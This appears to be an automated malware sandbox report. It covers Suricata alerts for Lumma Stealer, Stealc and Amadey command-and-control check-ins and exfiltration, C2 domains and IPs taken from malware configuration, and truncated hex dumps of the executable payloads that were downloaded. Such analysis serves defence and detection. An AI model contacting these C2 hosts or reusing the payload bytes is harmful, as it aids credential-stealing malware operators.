Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49746 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49747 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49751 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49749 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:62626 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:62456 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50943 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49757 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49755 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49754 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:49268 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49765 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49770 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49772 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49775 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49779 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49783 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49781 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49769 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49776 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49788 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:54051 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:56592 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:51605 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:59725 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49809 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49816 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49832 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49871 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49878 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49884 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49887 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49899 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49911 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49996 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50178 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50175
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50177 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50203
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50205 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49751 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49755 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49755 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49783 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49816 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49816 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49899 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49779 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49832 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49832 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:06 GMTContent-Type: application/octet-streamContent-Length: 2940416Last-Modified: Thu, 31 Oct 2024 19:29:44 GMTConnection: keep-aliveETag: "6723daa8-2cde00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 f0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 30 00 00 04 00 00 c6 ce 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 64 73 64 71 75 6e 77 00 30 2a 00 00 b0 05 00 00 22 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6e 64 62 75 63 72 77 00 10 00 00 00 e0 2f 00 00 06 00 00 00 b6 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 2f 00 00 22 00 00 00 bc 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:16 GMTContent-Type: application/octet-streamContent-Length: 2131968Last-Modified: Thu, 31 Oct 2024 19:29:58 GMTConnection: keep-aliveETag: "6723dab6-208800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 66 6f 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 65 66 67 76 7a 77 66 00 e0 19 00 00 b0 58 00 00 d8 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 7a 75 66 69 6b 74 69 00 10 00 00 00 90 72 00 00 04 00 00 00 62 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 66 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:22 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 19:14:29 GMTConnection: keep-aliveETag: "6723d715-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0d d7 23 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 02 a8 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 24 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 24 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 19:52:30 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
